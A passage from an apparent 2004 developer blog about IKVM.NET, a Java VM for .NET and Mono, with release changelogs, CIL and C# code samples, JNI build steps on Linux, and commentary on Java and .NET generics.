.class public 'Test`1'<([mscorlib]System.Object) T>
      extends [mscorlib]System.Object
      implements class 'IReader`1'<!T>,
                 class 'IWriter`1'<!T>
{
  .field private !T v

  .method public virtual instance
          !T Get() cil managed
  {
    ldarg.0
    ldfld !0 class 'Test`1'<!T>::v
    ret
  }

  .method public virtual instance
          void Put(!T t) cil managed
  {
    ldarg.0
    ldarg.1
    stfld !0 class 'Test`1'<!T>::v
    ret
  }

  .method public specialname rtspecialname
          instance void .ctor() cil managed
  {
    ldarg.0
    call instance void [mscorlib]System.Object::.ctor()
    ret
  }
}

.method static void Main(string[] args) cil managed
{
  .entrypoint
  .locals init ([0] class 'Test`1'<string> t1,
                [1] class 'IReader`1'<object> rdr,
                [2] class 'Test`1'<object> t2,
                [3] class 'IWriter`1'<string> wrtr)

  newobj instance void class 'Test`1'<string>::.ctor()
  stloc.0
  ldloc.0
  ldstr "covariance"
  callvirt instance void class 'Test`1'<string>::Put(!0)
  ldloc.0
  stloc.1
  ldloc.1
  callvirt instance !0 class 'IReader`1'<object>::Get()
  call void [mscorlib]System.Console::WriteLine(object)

  newobj instance void class 'Test`1'<object>::.ctor()
  stloc.2
  ldloc.2
  stloc.3
  ldloc.3
  ldstr "contravariance"
  callvirt instance void class 'IWriter`1'<string>::Put(!0)
  ldloc.2
  callvirt instance !0 class 'IReader`1'<object>::Get()
  call void [mscorlib]System.Console::WriteLine(object)
  ret
}
 

Notice the plus and minus signs in the interface declarations to signal that a generic type parameter is covariant or contravariant.

8/10/2004 4:03:46 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [6]

Wednesday, June 30, 2004

Mono 1.0

Congratulations to the Mono team with the release of 1.0!

6/30/2004 7:03:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Finally a Real Web Site

Many thanks to Brian J. Sletten and Stephen Schaub for building the new IKVM.NET web site. I will continue to write this blog, but from now on instructions, documentation and howto articles will appear on the new site (in addition to the excellent content that is already there), where they'll have a more permanent home than here on the blog.

Update: The samples made by Brian and Stephen are available for download on SourceForge now as well.

6/30/2004 2:34:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, June 28, 2004

Release Candidate 1

I changed the version number on all assemblies (except for IKVM.GNU.Classpath) to 0.8.0.0 and tagged the cvs tree with v0_8_0_0 and put the files up on the SourceForge download site: Source and binaries or just binaries.

Unless any last minute showstopper bugs are found, this will be the version shipped with Mono 1.0.

Other changes:

  • IKVM.Runtime.dll, IKVM.GNU.Classpath.dll, IKVM.JNI.CLR-Win32.dll and IKVM.JNI.Mono.dll are now signed to enable putting them in the GAC.
  • Fixed java.lang.Object method invocation through ghost interface references.
  • Changed JNI provider loading to use LoadWithPartialName, to support loading the JNI provider from the GAC.
6/28/2004 2:07:22 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, June 25, 2004

Yet Another Snapshot

More fixes...

Changes:

  • Fixed bug in String.indexOf(int), String.lastIndexOf(int), String.indexOf(int, int) and String.lastIndexOf(int, int). When a character outside of the valid character range was passed, it was truncated to a character instead of returning -1.
  • Changed VMThread.holdsLock implementation to use Monitor.Pulse instead of Monitor.Wait to check for monitor ownership. This can cause spurious wakeups from Object.wait(), but according to the new JDK 1.5 memory model that is allowed, and it has always been good coding practice to guard against spurious wakeups. Thanks to Dalibor Topic for researching this issue.
  • Fixed reflection to properly check accessibility for protected instance fields and methods.
  • Partially implemented JNI method JavaVM::AttachCurrentThread (only on Windows). It only supports "attaching" a thread that already is a Java thread. This was required for the latest SWT 3.0 versions .
  • Fixed bug in handling of ghost and value return types for statically compiled code. Among possible other problems, this caused String.subSequence to behave oddly.
  • Improved support for reflection on .NET enums. The (fake) Value field and wrap() method are now available through Java reflection.
  • Added name mangling for enums that happen to contain a Value value.
  • Added a few try/finally blocks for Profiler.Enter/Leave calls in compiler.cs.
  • Added profiler counter for inserted interface down casts.
  • Added bge_un, ble_un, ldc_i4 and ldc_i4_m1 opcodes to remapper.cs.
  • Fixed a verifier bug in merging value type array types.
  • Removed optimization from verifier related to interface type merging. The optimization reduced the number of downcasts that had to be inserted in the code, but it turned out that ECMA interface type merging rules didn't allow this optimization.
  • Fixed integer overflow bugs in String.regionMatches() and String.lastIndexOf(String, int).
  • Fixed bug in array type visibility for array types constructed from statically compiled (or .NET) nested types.

New snapshots: just the binaries and source plus binaries.

6/25/2004 4:14:06 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, June 20, 2004

A Couple More Fixes

A new snapshot with a few small fixes and bigger fix to support serialization of Throwable. Since java.lang.Throwable is a remapped type, it's fields don't really exist and therefor didn't get serialized (and I had totally failed to realise this). It turned out to be easy to add serialization support (compatible with Sun's serialization of Throwable) by using the (previously unknown to me) feature of serialization to manually do serialization in a way that is compatible with the default serialization implementation.

Changes:

  • Fixed ikvm.exe regression that caused it to fail to invoke main on package private classes. (Caused by reflection fix in the previous snapshot).
  • Added (small) hack to reflection invoke to support deserialization of java.lang.Throwable (and subclasses).
  • Fixed (de)serialization of java.lang.Throwable.
  • Fixed small bug in Throwable.initCause(). Previously, if an exception was constructed and null was passed as the cause, you could later on use initCause() to change the cause.
  • Added ldlen opcode to remapper.cs
  • Fixed String.copyValueOf(char[]) to throw NullPointerException if array is null.
  • Fixed String(char[]) constructor to throw NullPointerException if array is null.
  • Fixed recently introduced reflection regression that (sometimes) causes NullPointerException when getting a method's declared exceptions. This mostly showed up running ikvmstub.

New snapshots: just the binaries and source plus binaries.

6/20/2004 11:04:29 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, June 14, 2004

Another Snapshot

A new snapshot for inclusion in Mono Beta 3.

Changes:

  • Added box/unbox methods to ikvm.lang.CIL for all primitive types.
  • Added conversion methods for unsigned CLI primitive types to ikvm.lang.CIL.
  • Changed FileChannelImpl to call stream.WriteByte, which is now possible because of the new unsigned primitive support in ikvm.lang.CIL.
  • Rewrote a large part of reflective method invocation to fix all known issues. Reflection on remapped types now works as well as full support for ghost types (both in calling methods through ghost interfaces, as well as passing or returning ghost references).
  • Added support for a few more opcodes to remapper.cs.
  • Added error handling for unsupported elements in remapping file (map.xml).
  • Fixed reflection to take visibility of class into account.
  • Fixed class file validation rules to ignored strictfp on abstract methods (according to the VM spec it isn't allowed for an abstract method to be strictfp, but javac is broken and sets the strictfp modifier for abstract method too and Sun's JVM obviously doesn't enforce this part of the spec).
  • Fixed JNI AllocObject to work correctly for java.lang.Object and java.lang.Throwable.

New snapshots: just the binaries and source plus binaries.

6/14/2004 8:12:18 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 09, 2004

AppDomains, Domain Neutral Assemblies and a Framework Bug

I came across an nasty bug in the Microsoft .NET Framework 1.1 today.

Here is a program that reproduces the problem:

using System;
using System.Reflection;

class Class1
{
  [LoaderOptimization(LoaderOptimization.MultiDomain)]
  static void Main(string[] args)
  {
    if(AppDomain.CurrentDomain.FriendlyName != "My 2nd Domain")
    {
      AppDomain dom = AppDomain.CreateDomain("My 2nd Domain");
      dom.ExecuteAssembly(Assembly.GetEntryAssembly().Location);
    }
    Console.WriteLine(AppDomain.CurrentDomain.FriendlyName);
    Console.WriteLine(typeof(Class1).TypeHandle.Value);
    new System.Data.RowNotInTableException();
    foreach(Assembly a in AppDomain.CurrentDomain.GetAssemblies())
    {
      Console.WriteLine(a.FullName);
    }
  }
}

In the 2nd AppDomain (the first one that prints), the list of assemblies doesn't contain System.Data, even though it clearly is present in the AppDomain, after all, the new System.Data.RowNotInTableException() was just executed.

The problem only occurs when assemblies are shared across AppDomains (this is what the [LoaderOptimization(LoaderOptimization.MultiDomain)] attribute does). Comment out that line and the program works as expected.

I think that this effectively means that IKVM cannot be used inside of ASP.NET, which, I believe, always loads assemblies domain neutral.

In the May 2004 Community Technology Preview of Visual Studio 2005, the bug is fixed and the above program performs as expected.

6/9/2004 4:33:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Eclipse

Ultratoto14 asks (in the comments):

I tried to launch eclipse M8 and M9 with the latest binaries. It does not run.

I saw that the on april 15 you successfully started it.

Is there something special to do or is the latest bin cannot be used ?

Thanks in advance.

M8 runs, but M9 doesn't. For M8 to run, you do need to add the xalan and xerces jars to the bootclasspath (wrapped for readability):

eclipse -vm c:\ikvm\bin\ikvm.exe
          -vmargs
          -Xbootclasspath:C:\xalan-j_2_6_0\bin\xalan.jar;
                         C:\xalan-j_2_6_0\bin\xercesImpl.jar;
                         C:\xalan-j_2_6_0\bin\xml-apis.jar

Note that this is on Windows. I haven't tried running Eclipse on Mono/Linux.

6/9/2004 12:13:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, June 07, 2004

New Snapshot

I made a new snapshot with a couple of small fixes, but this is mainly to update the version of SharpZipLib to 0.6, because this is the version that the Mono Beta 2 ships with.

Here's what's new:

  • Verifier fix. Calling a method on an unloadable class could cause assertion to be fired.
  • Fixed ikvmc to tolerate multiple definitions of the same class (classes that have the same name as a class that was already processed are ignored now, with a warning instead of aborting compilation with a fatal error). I ran into a jar that contained multiple entries for the same class!
  • Compiled with 0.6 version of SharpZipLib to be compatible with the version shipped with Mono Beta 2.
  • Removed the IKVM runtime version number from the JavaModuleAttribute, because I realised the same information is available by using Assembly.GetReferencedAssemblies().
  • Fixed ikvmstub to print help message instead of crash, if invoked without argument.
  • Fixed ikvmstub.csproj (Visual Studio .NET project file) to generate ikvmstub.exe, instead of netexp.exe.
  • Fixed the bytecode compiler to emit verifiable code when it is compiling invalid code (e.g. code that produces NoSuchFieldError or IllegalAccessError). This was the last know issue, all non-JNI using code generated by ikvmc should now be verifiable. If you encounter unverifiable code, please let me know.

New snapshots: just the binaries and source plus binaries.

6/7/2004 3:03:16 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, June 01, 2004

Compatibility List

On the ikvm-developers list, Kevin Gilpin suggested to create a list of Java applications and libraries that are compatible with IKVM. This is a great idea. Brian Sletten, who is working on the documentation, offered to collect the list.

So, if you have successfully (or unsuccessfully) run or used any Java application or library (open source or proprietary), please let us know, so it can be added to the list.

In addition to the name and version of the application or library, please supply the following information (not required, but it would be nice, if you have it available):

  • Version of IKVM you used.
  • Do you want your name and/or e-mail address in the list?
  • .NET runtime version used (e.g. MS .NET 1.1 or Mono 0.91).
  • Operating System version (e.g. Windows XP or Debian 3.0).
  • Whether you used the application/library in static (ikvmc.exe) or dynamic mode (ikvm.exe), or in a mixed scenario.
  • Any build issues you encountered.
  • Any other compatibility issues you encountered.

Please send your feedback to me or Brian, or leave a comment to this post.

Update: In the comments, Jamie Cansdale asks for unit test results for the application or library. That's a good point. If they are available please report the unit test results as well. The JUnit 3.8.1 command line test runner should work with IKVM (at least for the samples tests run successfully, apart from three failures that result from JUnit trying to use Runtime.exec() to start java.exe).

6/1/2004 10:23:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Thursday, May 27, 2004

Painful Changes

I renamed the assemblies and also took the opportunity to change the directory structure and Visual Studio project names accordingly. This is quite a painful process and also loses the cvs history for all the moved files (at least, I couldn't find any way of moving files in cvs, other than add/remove).

Hopefully this will be the only time I have to make these changes. Breaking all build scripts and what have you, isn't fun.

Note: To build this version, you require either Jikes 1.19 or 1.21.

Here's what's new:

  • Changed all assembly versions to 0.7.* (except for the IKVM.GNU.Classpath assembly, that now has version 0.9, to indicate the GNU Classpath version)
  • Removed the StackTraceInfo attribute (wasn't supported by the stack trace code anymore).
  • Made ExceptionHelper (in ExceptionHelper.cs) private.
  • Changed ThrowsAttribute to take a string array instead of a single string (to support reporting the throws clause in declaration order).
  • Changed ImplementsAttribute to take a string array instead of a single Type (to support reporting the implemented interfaces in declaration order).
  • Made handling of InnerClasses attribute more robust (this applies to ikvmc only, the dynamic runtime ignores this attribute).
  • Made the op_Implicit method that is added to classes that implement ghost interfaces hidden from reflection.
  • Added MethodAttributes.CheckAccessOnOverride to virtual method definitions, to prevent package private methods from being overridden in another assembly.
  • Fixed reflection on sealed .NET types to also add public method for private interface implementations.
  • Added a version string to the JavaModuleAttribute, to record the IKVM runtime version that was used to generate the module.
  • Removed unused NativeCode.java.io.File class.
  • Removed unused NativeCode.java.nio.channels.FileChannelImpl class.
  • Fixed a bug in the exception untangling code and cleaned the code up a bit.
  • Fixed FileChannelImpl to catch System.NotSupportedException and rethrow a FileNotFoundException.
  • Added explicit call to Environment.Exit to ikvmc to workaround background threads starting up due to static initializers running (due to .NET Framework reflection bug).
  • Fixed ikvmc regression that caused ArgumentException when compiling a bunch of classes with a wildcard expression.
  • Added dummy ftp protocol handler to work around Classpath bug (when it sees a file: url with a host, it treats it as an ftp url, but since the ftp protocol doesn't exist, the code gets stuck in an infinite loop).

New snapshots: just the binaries and source plus binaries.

5/27/2004 3:27:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, May 10, 2004

Generics Again

I have a hard time truly understanding the Java generics model. I understand the implementation and I think it's a hack and this is probably making it harder for me to see the design objectively.

After looking at the recent JDK 1.5 beta, there was one method that particularly puzzled me:

public T cast(Object obj)

In java.lang.Class. Why would you need a method to dynamically cast? If you understand how generics work under the covers, you know that T is actually java.lang.Object, so calling this cast method doesn't actually buy you anything (the compiler will insert a real cast after your call).

Before diving in, if your knowledge of how Java generics work under the covers is a bit rusty, I recommend reading the paper on GJ: Making the future safe for the past: Adding Genericity to the Java Programming Language. While I was re-reading it, a few things jumped out: "Adding generics to an existing language is almost routine.." In fact, it's so easy that today in 2004 we still don't have generics in Java, even though the design was already done in 1998. Another quote: "GJ comes with a cast-iron guarantee: no cast inserted by the compiler will ever fail. (Caveat: this guarantee is void if the compiler generates an 'unchecked' warning, which may occur if legacy and parametric code is mixed without benefit of retrofitting.)" Please note that the caveat applies when you use one of the principal features of GJ: "GJ contains a novel language feature, raw types, to capture the correspondence between generic and legacy types, and a retrofitting mechanism to allow generic types to be imposed on legacy code."

Another interesting paper (that is referenced in the GJ paper as NextGen), is Compatible Genericity with Run-time Types for the Java TM Programming Language.

Anyway, let's look at some code and try to figure out what the purpose of the new cast method is:

Class<String> c = String.class;;
String s = c.cast("foo");;

This is compiled as:

ldc_w java/lang/String
astore_1
aload_1
ldc "foo"
invokevirtual java/lang/Class cast(Ljava/lang/Object;)Ljava/lang/Object;
checkcast java/lang/String
astore_2

Note in particular the checkcast that I highlighted. This is inserted by the compiler and is key to how Java generics work. Presumably the Class.cast() method also checks that the passed in object is actually castable to the type, so effectively you get two casts for the price of one (or rather, you pay twice for the same cast).

Why would you want (or need) that? The answer became clear (?) to me when I was contrasting the Java generics with the .NET generics model.

Let's look at some more code (C# 2.0 this time):

T LameFactory<T>() where T : new()
{
  return new T();
}

This method generically constructs instances. It's not relevant to my point, but it is interesting to note that the C# compiler uses reflection under the covers to implement this. Most C# generics constructs are actually supported by the CLR, but instantation isn't. The compiler generates something like this:

T LameFactory<T>()
{
  // If T is a Value Type, we don't need
  // to use Activator.CreateInstance.
  if((object)T.default != null)
  {
    return T.default;
  }
  return (T)Activator.CreateInstance(typeof(T));
}

How would you do something similar in Java? Here's how:

T LameFactory(Class<T> factory)
{
  return factory.newInstance();
}

In essence, what you're doing here is the same as what the CLR is doing under the covers (passing an extra parameter with the type information, at least conceptually). Class.newInstance returns an appropriately typed reference, because Class is a generic type. Suppose it hadn't returned the appropriate type, but simply Object like in the good old days. You could have used Class.cast() to the the downcast instead! Admittedly this isn't the greatest example for explaining the existence of Class.cast(), but I do understand now that it provides real functionality that would have been impossible to (safely) get in any order way. Note that the obvious:

T LameFactory(Class factory)
{
  Object o = factory.newInstance();
  return (T)o;
}

Isn't the right answer. When compiling this, the compiler rightfully warns: Note: cast.java uses unchecked or unsafe operations. The cast is unsafe, because it dissolves at compile time. Note that this doesn't break type safety (in the VM/security sense), because the caller of LameFactory will have inserted its own cast to T, but it does (allow you to) break compile time type safety. If you value compile time type safety, it's a good idea to stay away from code that generates this warning.

5/10/2004 12:07:15 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, May 07, 2004

Assembly Names

To clean up the assembly names, I propose to change to the following names for the next snapshot:

Current Name New Name
awt.dll IKVM.AWT.WinForms.dll
classpath.dll IKVM.GNU.Classpath.dll
ik.vm.jni.dll IKVM.JNI.CLR-Win32.dll
ik.vm.net.dll IKVM.Runtime.dll
ikvm.exe ikvm.exe
ikvmc.exe ikvmc.exe
Mono.IKVM.JNI.dll IKVM.JNI.Mono.dll
netexp.exe ikvmstub.exe
OpenSystem.Java.dll (will be removed)


I'm removing OpenSystem.Java.dll for the time being, because interop with dotGNU hasn't really happened so far and at this point it's just pre-mature design for reuse. Hopefully, in the future when they continue their work on Java support we can work together to make the two systems interoperable.

Any comments on the assembly names?

[Update: Stuart makes a good point in the comments. I've changed the suggested new name of netexp to ikvmstub.exe]

5/7/2004 3:52:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 05, 2004

Mono Beta 1

The Mono Beta 1 was released today and I've prepared a new snapshot that works with this version to test interoperability.

What's new?

  • Fixed ik.vm.jni.build to create output directory.
  • Added Profiler.Count calls to ByteCodeHelper.cs for dynamic helper methods.
  • Fixed TypeWrapper.IsSamePackage to handle case where one type is array and other isn't.
  • Fixed bug introduced in last snapshot in bytecode compiler, that caused NullReferenceException if exception block starts on an unreachable instructions.
  • Added exception handling to VMRuntime.exec.
  • Added -Xwait option to ikvm, to keep the process hanging around (this is just a hack so I can look at the console window that contains the profiling statistics and trace messages after Eclipse has exited).
  • Fixed ikvmc to ignore Main-Class attribute when building a library.
  • Implemented JNI methods AllocObject and ReleasePrimitiveArrayCritical (on Windows JNI provider only).
  • Fixed resource loading from -Xbootclasspath.
  • Fixed a minor bug in remapped type handling.
  • Changed map.xml format to support future metadata annotations (thanks Stuart!).
  • Fixed handling of final fields in ikvmc.
  • Changed handling of shadow types (e.g. cli.System.Object now extends java.lang.Object and cli.System.String exists side by side with java.lang.String).
  • Fixed support for deserializing final fields.
  • Fixed java.lang.Class/VMClass to no longer require VMClass instances (Class now contains direct reference to TypeWrapper).
  • Added the managed part of the Mono JNI provider to CVS and the build script (and the snapshot).
  • Updated the SharpZipLib reference to the latest version.
  • Locked to GNU Classpath 0.09 and changed classpath build directory to ../../classpath-0.09
  • Fixed Thread.sleep() to support larger values than Integer.MAX_VALUE

Linux Lamer

Since I'm a Linux Lamer (tm), I'm documenting the steps here to get JNI to work with Mono (primarily for my own use).

  • cd /usr/local/src/classpath-0.09
  • ./configure --with-jikes --disable-gtk-peer
  • make
  • cp include/jni.h /usr/local/include/
  • cp include/jni_md.h /usr/local/include/
  • cd ../mono-0.91/ikvm-jni/
  • make && make install
  • cd ../jnitest
  • vi test.java
    class test {
      public static void main(String[] args) {
        System.loadLibrary("test");
        nativeMethod();
      }
      static native void nativeMethod();
    }
  • jikes -cp ../classpath-0.09:../classpath-0.09/vm/reference:../ikvm/classpath test.java
  • vi test.c
    #include <stdio.h>
    #include <jni.h>
    JNIEXPORT void JNICALL Java_test_nativeMethod(
    JNIEnv* env, jclass clazz) { printf("Hello from JNI\n"); }
  • gcc -shared test.c -o libtest.so
  • export LD_LIBRARY_PATH=.
  • ikvm test

New snapshots: just the binaries and source plus binaries.

The GNU Classpath release that this is based on can be downloaded from ftp://ftp.gnu.org/pub/gnu/classpath/classpath-0.09.tar.gz

Note that anon cvs for SourceForge is apparently still lagging behind, so at the moment I'm posting this, anon cvs does not yet contain the latest changes.

5/5/2004 11:06:43 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, April 15, 2004

Progress

While it's been quiet on the blog and the mailing list, there has been quite a lot of progress behind the scenes.

  • The next Mono release will contain the C half of the IKVM JNI provider and the next IKVM snapshot will contain the C# half of the Mono JNI provider. This means that JNI will work out of the box on Mono (for the parts of JNI that are actually implemented). Thanks to Zoltan and Miguel for this.
  • I'm planning an IKVM 0.8 release to coincide with the Mono 1.0 release.
  • John Luke added IKVM support to MonoDevelop. Read about it here or see the screenshot here.
  • I successfully started up Eclipse 3.0 M8 for the first time yesterday. Thanks to Michael Koch for his work on GNU Classpath's java.nio implementation and all the other GNU Classpath hackers, of course.
  • In the comments, Jesus Garcia point me to SwingWT. An SWT based implementation of AWT and Swing by Robin Rawson-Tetley. Very cool stuff! It doesn't run on the latest snapshot due to a JNI bug, but I have it running and it's very cool to see the SwingSet demo running on IKVM.

I hope to do a new snapshot in the first week of May and after that to work towards the 0.8 release.

4/15/2004 10:06:15 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Monday, March 29, 2004

Backward Branch Constraints

The last snapshot was totally broken on Mono (*blush*). My apologies to the Mono users. I should test my snapshots on Mono before releasing them, but I'm lazy so this sometimes slips through the cracks.

The breakage was kind of interesting though. As I wrote last time, I rewrote the bytecode compiler to emit CIL in the same order as the Java bytecode. This caused invalid (per the ECMA spec) CIL to be generated in some cases. The interesting thing is that the code isn't really invalid, the only reason it is invalid is because the spec says so:

Partition III -- 1.7.5 Backward Branch Contraints

It must be possible, with a single forward-pass through the CIL instruction stream for any method, to infer the exact state of the evaluation stack at every instruction (where by “state” we mean the number and type of each item on the evaluation stack).

In particular, if that single-pass analysis arrives at an instruction, call it location X, that immediately follows an unconditional branch, and where X is not the target of an earlier branch instruction, then the state of the evaluation stack at X, clearly, cannot be derived from existing information. In this case, the CLI demands that the evaluation stack at X be empty.

(Note that the section numbering seems to change with each version, this is from the working draft of June 2003.)

Java bytecode has no such requirment, so my straight forward translation caused Java bytecode that is only reachable through a backward branch to be translated into invalid CIL.

The Microsoft verifier and JIT don't require this constraint to be met and they will happily verify and JIT code that violates this constraint. However, the Mono JIT relies on it and so it was unable to handle some of the CIL that IKVM generated.

I fixed the IKVM bytecode compiler to emit ECMA compliant code (at least for this particular issue, who knows what else is wrong). I also fixed exception mapping, which didn't work on Mono as it relied on a currently unimplemented feature (I think, I didn't really investigate).

I think that, realistically, the Mono JIT will also have to be "fixed" to support the broken code, as you can be sure that there will be compilers that emit broken code, because it works on the Microsoft runtime.

New snapshots: just the binaries and source plus binaries.

3/29/2004 12:56:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, March 26, 2004

Debugging Support

I finished and fixed the local variable analysis and made various improvements to the debugging experience (in Visual Studio .NET). In the process I discovered some quirks in jikes' debugging tables. It associates two line numbers with the same bytecode address when that bytecode address is also the start of an exception block. It also (I think incorrectly) starts a local variable scope before the store instruction that first initializes that local variable. Javac starts the local variable scope immediately after the first store to that local, this makes more sense to me, but also required a hack in the local variable debugging support to make sure that the IL variable scope starts at the right position (i.e. before the first store to that local variable).

To make local variable scopes work, I had to change the bytecode compiler to emit IL in the same order as the original Java bytecode. For some reason I originally wrote the compiler to do the same code flow analysis as the verifier and this resulted in a somewhat arbitrary order of the generated IL. I finally fixed that and I also removed the recursion from the compiler (it now uses an explicit stack to keep track of exception blocks).

Note that unreachable code is still not compiled (it can't be verified, so it can't be compiled), but there will be nop IL instructions for each unreachable bytecode instruction, so you can set breakpoints and move the instruction pointer there. This could be a bit confusing and I probably should fix it at some point (by not emitting the nops).

I also had to reintroduce the automatic downcasting of locals, because I realised that it is possible to write bytecode by hand that depends on this (Java source will never require it). In non-debug builds of classpath.dll this introduces 12 (unnecessary) downcasts, so that's not really worth optimising.

What's new?

  • When compiling with -debug option, dead store are not optimized out anymore.
  • When compiling with -debug option, local variables are merged based on LocalVariableTable information.
  • When compiling with -debug option, the first instruction of a method will always (except when compiling with -Xmethodtrace) have an associated line number now (to enable stepping into the method).
  • When compiling with -debug option, local variables are now scoped based on LocalVariableTable information. Different locals with the same name are now handled correctly in the debugger.
  • Made helper method MethodInfo caching more consistent.
  • Method arguments that are value types are now boxed on method entry and not on each individual load, this makes them behave consistent with local variables.
  • Reusing method argument local variable slots (with different types) is now fully supported. I've never seen a Java compiler do this, but it is legal.
  • lookupswitch/tableswitch branches into exception blocks are now handled correctly (exception block is split around branch target). This completes branch/exception block handling. I originally thought that this would never happen, but apparently it does.
  • Added a helper method to emit Ldc_I4 that always uses the optimal encoding.
  • Added a class loader check to the System.arraycopy optimization check, to make sure that we're in fact calling System.arraycopy on the bootstrap version of java.lang.System.
  • Many fixes to the local variable analysis.
  • Added -srcpath option to ikvmc. If specified, this prepends the specified path and the package name to the source file name in the debugging information. In most cases this will be the correct location for the source file and will allow the debugger to automatically load the correct source.
  • Added AWT peer for Window.

New snapshots: just the binaries and source plus binaries.

3/26/2004 11:30:36 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Thursday, March 25, 2004

Q & A

In the comments on the previous entry, Stuart asks:

Given an instance of System.Type, how do I determine what the typename is in Java?

This is tricky and my (lame) answer is that you shouldn't have to. Do you have a specific scenario in mind? Having said that, in your comment you're on the right track, there is no one-to-one mapping between System.Type instances and java.lang.Class instances. What I think you're after is the fact that you'll never encounter cli.System.Object or cli.System.Exception as field types or in method signatures. The only way to get the class object for these types, is by calling getClass() on an instance or by calling Class.getSuperclass() on a subclass of them.

Note that the above behaviour isn't actually implemented yet. At the moment cli.System.Object and cli.System.Exception are simply helper classes with static methods and you'll never encounter them as field types, in method signatures or as instance types.

As to which one to use from Java, you're right when you say java.lang.* is the answer is most cases. The only times you want to use cli.System.Object or cli.System.Exception is when you subclass them from Java to make your Java class look more .NET like to .NET consumers.

What would be really nice would be if there were something in the IK.VM.NET.dll that would let me answer this question authoritatively with a simple call...

There is the NativeCode.java.lang.VMClass.getClassFromType() method that is used by the runtime internally (it's public, so you could call it), but I can't really guarantee that it'll stay around or behave consistently over time. At some point in the future there'll probably be a utility class in the ikvm.lang package that will contain conversion method to go from System.Type to java.lang.Class and vice versa (but it probably will require you to specify to context for the mapping).

Oh, one other thing that occurred to me would be a nice feature: if a class implemented in Java could put itself into the cli.* package and thereby make itself look to other Java code as if it were a .NET type, without actually putting it in a cli.* namespace in .NET. In other words, a Java class cli.Foo.Bar would be compiled as namespace Foo.Bar *without* the attribute that preserves its name in Java, so that Foo.Bar then gets translated back to cli.Foo.Bar when Java code sees it.

Sort of the inverse of the attribute for turning name mangling off on the .NET side.

Can you explain why and when you'd want to use this?

Mike asks:

Are there any tasks for a CS scrub like myself to work on with IKVM?

Here is a partial list of things that need to be done:

  • Implement the AWT peers
  • Implement the missing JNI methods
  • Build a framework to test the verifier / bytecode compiler
  • Write a Java implementation of String.valueOf(float) and String.valueOf(double)
  • Search the source for // TODO for things that seem doable (or write test cases that show the current code is broken)
  • Write documentation
  • Design a logo
  • Design a website

If you (or anyone) decides to work on something, please send e-mail to the ikvm-developers list, so we can coordinate.

3/25/2004 10:28:51 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Saturday, March 20, 2004

Documentation

Miguel posted a nice example of how to use Gtk# from Java using IKVM/Mono on his blog. In response Pablo posted a question to the Mono list and Jonathan Pryor replied with a nice explanation of how delegates are handled to the IKVM and Mono lists (quoted with permission, slightly edited):

From: Jonathan Pryor
Sent: Friday, March 19, 2004 02:35
To: Pablo Baena
Cc: Miguel de Icaza; mono-list@lists.ximian.com; ikvm-developers@lists.sourceforge.net
Subject: Re: [Mono-list] Java and C#

Below...

On Thu, 2004-03-18 at 16:07, Pablo Baena wrote:
> Miguel: I saw your blog about IKVM. One thing I haven't been able to 
> investigate is, how useful can be Gtk# with Java. Because, for example, I 
> couldn't find a clue on how to attach a Java 'listener' to a C# event, or any 
> way to use attributes in Java.

They really need to document this better...

However, grepping through the ikvm.zip file (from their website), we
see:

// file: classpath/java/lang/VMRuntime.java
cli.System.AppDomain.get_CurrentDomain().add_ProcessExit (
  new cli.System.EventHandler (
    new cli.System.EventHandler.Method () {
      public void Invoke (Object sender, cli.System.EventArgs e) {
        Runtime.getRuntime().runShutdownHooks();
      }
    }
  )
);

>From this (and prior knowledge), we can draw the following statements:

1. Properties are actually functions with `get_' and `set_' prefixed to
them. Thus C# property System.AppDomain.CurrentDomain is the static
Java function cli.System.AppDomain.get_CurrentDomain().

2. Events are actually functions with `add_' and `remove_' prefixed to
their name. Thus C# event System.AppDomain.ProcessExit is the static
Java function cli.System.AppDomain.add_ProcessExit().

3. There is no equivalent to C# delegates in Java, so these are
translated into a class + interface pair. The EventHandler class is the
standard C# type name (cli.System.EventHandler), which takes a